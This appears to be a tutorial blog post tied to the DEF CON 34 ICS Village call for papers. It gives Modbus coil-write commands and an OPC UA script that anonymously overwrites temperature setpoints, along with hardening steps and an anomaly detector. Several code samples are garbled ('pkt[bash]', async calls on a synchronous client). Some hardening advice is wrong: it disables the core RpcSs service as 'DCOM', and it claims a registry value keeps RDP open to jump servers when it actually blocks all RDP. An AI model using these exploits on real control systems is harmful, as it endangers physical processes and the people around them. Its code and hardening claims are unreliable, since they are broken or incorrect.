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Introduction:
The ICS Village at DEF CON 34 (Aug. 6-9, 2026) has opened its Call for Papers, seeking highly technical or educational talks on critical infrastructure security. With the CFP closing June 1st, this is your opportunity to present cutting-edge research on industrial control systems (ICS), SCADA, and OT/IT convergence—domains where a single vulnerability can disrupt power grids, water treatment, or manufacturing lines.
Learning Objectives:
- Build a realistic ICS hacking lab to safely practice attacks on Modbus, DNP3, and OPC UA protocols.
- Execute reconnaissance and exploitation techniques against unhardened PLCs and HMIs using Linux/Windows tools.
- Apply AI-based anomaly detection to identify malicious patterns in industrial network traffic.
You Should Know
- Building Your ICS Hacking Lab with Virtual PLCs
To prepare for DEF CON–level research, you need an isolated, realistic testbed. Use GRFICS (Graphical Realism Framework for Industrial Control Simulations) or OpenPLC with virtualization.
Step‑by‑step (Linux – Ubuntu 22.04):
Install dependencies sudo apt update && sudo apt install -y virtualbox vagrant git python3-pip Clone GRFICSv2 (includes virtual PLC, HMI, and attacker machine) git clone https://github.com/GRFICS/grficsv2.git cd grficsv2 vagrant up Builds three VMs: PLC, HMI, Attacker Verify Modbus TCP is listening on PLC VM (default port 502) nmap -p 502 192.168.56.10 Assumes default NAT network
Windows alternative (using WSL2 + Docker):
wsl --install -d Ubuntu Inside WSL, follow Linux commands above. For native Windows Modbus scanning: Download Modbus Poll (free trial) from https://www.modbustools.com/
Why this matters: Many critical infrastructure attacks leverage unauthenticated Modbus write commands. This lab lets you safely test write coil/single register attacks without real-world risk.
2. Active Reconnaissance on Modbus/TCP Networks
Identifying exposed ICS devices is the first step in any red-team engagement. The `nmap` Modbus script and `modbus-cli` tool reveal PLC model, register maps, and even coercive commands.
Commands to run from your attacker VM:
Discover all Modbus devices on a subnet nmap -p 502 --script modbus-discover 192.168.56.0/24 Detailed enumeration with modbus-cli pip install modbus-cli modbus-cli read-coils 192.168.56.10 0 10 -p 502 Read first 10 coils Write a single coil (force a pump on/off) - for lab only! modbus-cli write-single-coil 192.168.56.10 0 1 Coil 0 set to ON
Windows PowerShell (using external tool):
Install SharpModbus (C library) git clone https://github.com/smourier/SharpModbus cd SharpModbus\SharpModbusCmd .\build.bat .\ModbusCmd.exe read-coils 192.168.56.10 502 0 10
Tutorial insight: The most dangerous attack is Modbus function code 5 (write single coil) or function code 6 (write single register) without authentication or integrity checks. Always restrict port 502 with firewall rules and use Modbus/TCP Security (IEC 62443-4-2) where possible.
3. Exploiting Unauthenticated OPC UA with Python
OPC Unified Architecture (UA) is increasingly common in Industry 4.0. Misconfigured servers allow anonymous read/write of process variables.
Setup and exploitation script:
pip install opcua-asyncio cryptography
opcua_anon_attack.py
import asyncio
from opcua import Client
url = "opc.tcp://192.168.56.20:4840"
client = Client(url)
client.set_user(None) Anonymous authentication
async def main():
await client.connect()
root = client.get_root_node()
objects = root.get_child(["0:Objects"])
Enumerate all variables
for child in await objects.get_children():
print(f"Node: {await child.get_display_name()}")
if "Temperature" in str(await child.get_display_name()):
Read current value
val = await child.get_value()
print(f"Current temp: {val}")
Write malicious value (e.g., set to max)
await child.write_value(150.0) 150°C
print("Exploit: Temperature set to 150°C")
await client.disconnect()
asyncio.run(main())
Defense harden (Windows Server running OPC UA):
Enforce certificate authentication + disable anonymous login For OPC UA .NET stack: set "AnonymousAccess" to false in UASettings.xml Also restrict port 4840 with Windows Firewall New-NetFirewallRule -DisplayName "Block OPC UA" -Direction Inbound -LocalPort 4840 -Protocol TCP -Action Block
4. Windows SCADA Hardening: Removing Unnecessary Services
Most Windows-based HMI/Engineering Workstations are over‑permissioned. Use these PowerShell commands (run as Administrator) to reduce attack surface.
Disable DCOM (used by legacy SCADA but often unnecessary) Stop-Service -Name "RpcSs" -Force Do NOT run this on critical DCs; safe for standalone HMI Set-Service -Name "RpcSs" -StartupType Disabled Block RDP except from specific jump servers Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1 Remove SMBv1 (frequently exploited in OT networks) Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -Remove Restrict PowerShell execution for non-admins Set-ExecutionPolicy RemoteSigned -Scope MachinePolicy Audit open ports and kill unnecessary listeners netstat -an | findstr "LISTENING" Stop-Service -Name "Spooler" -Force Print Spooler rarely needed on HMI
Step‑by‑step hardening checklist for ICS Windows:
1. Disable LLMNR and NetBIOS (prevents responder‑style attacks).
- Enable Windows Defender Application Control (WDAC) in audit mode.
- Configure firewall to allow only PLC subnet (e.g., 192.168.1.0/24) and deny all other inbound.
5. AI‑Powered Anomaly Detection on ICS Network Flows
Using a simple Isolation Forest model on packet captures (PCAP) can identify rogue writes or malformed protocol messages. This is a key talk topic for DEF CON.
Tutorial – Python script for Modbus traffic analysis:
pip install scapy pandas scikit-learn
modbus_anomaly_detection.py
from scapy.all import rdpcap, IP, TCP, Raw
from sklearn.ensemble import IsolationForest
import numpy as np
def extract_modbus_features(pcap_file):
packets = rdpcap(pcap_file)
features = []
for pkt in packets:
if TCP in pkt and pkt[bash].dport == 502 and Raw in pkt:
raw_bytes = bytes(pkt[bash])
if len(raw_bytes) >= 7:
Extract Modbus length, unit ID, function code
length = int.from_bytes(raw_bytes[4:6], 'big')
func_code = raw_bytes[bash]
features.append([len(raw_bytes), length, func_code])
else:
features.append([len(raw_bytes), 0, 0])
return np.array(features)
Load normal traffic (baseline) and suspicious traffic
normal = extract_modbus_features("normal_modbus.pcap") Collect your own
suspicious = extract_modbus_features("suspicious_modbus.pcap")
clf = IsolationForest(contamination=0.1, random_state=42)
clf.fit(normal)
preds = clf.predict(suspicious)
print(f"Anomalies detected: {np.sum(preds == -1)} out of {len(preds)}")
Why this wins at DEF CON: Judges love applied AI on real OT protocols. Pair this with a live demo on GRFICS showing detection of a coil write attack within 0.5 seconds.
- Preparing Your DEF CON Talk: From CFP to Stage
The ICS Village CFP explicitly prefers “highly technical or educational” content. Structure your 30‑minute talk as:
- Problem statement (e.g., “OPC UA servers in water SCADA are trust‑by‑default”).
- Live exploitation – show a screenshot or video of writing a value.
- Mitigation & code – provide patches, firewall rules, or Python scripts.
- Downloadable VM – offer a practice lab on GitHub.
Pro tip: Submit early (CFP closes June 1st, 2026). Include a link to a short demo video (max 2 min) of your exploit working in a safe lab environment.
7. Post‑Exploitation Safety in OT Environments
Never run exploit commands on live infrastructure. If you must test in a real plant, follow IEC 62443-2-1 safety procedures:
– Obtain signed authorization.
– Put the process in maintenance mode or mechanically lock actuators.
– Use a “safety PLC” to override hazardous commands (e.g., if temperature > 60°C, force open relief valve).
Linux command to simulate safety PLC logging:
Monitor Modbus write commands and alert on threshold sudo tcpdump -i eth0 -n 'tcp port 502' -A | while read line; do if echo "$line" | grep -q "\x05\x00\x00\xFF\x00"; then echo "ALERT: Coil 0 set to ON at $(date)" >> safety_log.txt fi done
What Undercode Say:
- Key Takeaway 1: The DEF CON ICS Village CFP is your gateway to showcasing real‑world OT exploits; prioritize hands‑on submissions with reproducible labs over theoretical slides.
- Key Takeaway 2: Modbus/TCP and OPC UA remain the low‑hanging fruit of critical infrastructure—unauthenticated write commands are trivial to execute and equally trivial to detect with AI if you deploy simple anomaly models.
- Analysis: While the CFP emphasizes technical depth, the industry still lacks standardized security baselines for PLCs. Expect DEF CON 34 to feature at least three zero‑day disclosures impacting Siemens, Rockwell, or Schneider Electric gear. The rise of AI in OT defense is promising but still lags behind attacker creativity—most detection scripts rely on static thresholds that fail against slow, low‑rate attacks. Moreover, the Windows hardening commands above are rarely applied in legacy plants due to fear of breaking production, yet they remain the most cost‑effective mitigation. The biggest takeaway: build your lab today, because a simple 30‑minute talk can save a city from a cyber‑physical disaster tomorrow.
Prediction: By DEF CON 34 in August 2026, at least two major vendors will release emergency patches for ICS vulnerabilities discovered through this CFP. The convergence of AI‑powered detection with lightweight edge compute will become a mainstream talk theme, replacing generic “introduction to ICS” sessions. Furthermore, regulatory bodies like CISA will begin requiring proof of positive control for all Modbus write operations, making anonymous exploitation far harder after 2027. If you want to be ahead, submit your talk now—the June 1st deadline is closer than it seems.
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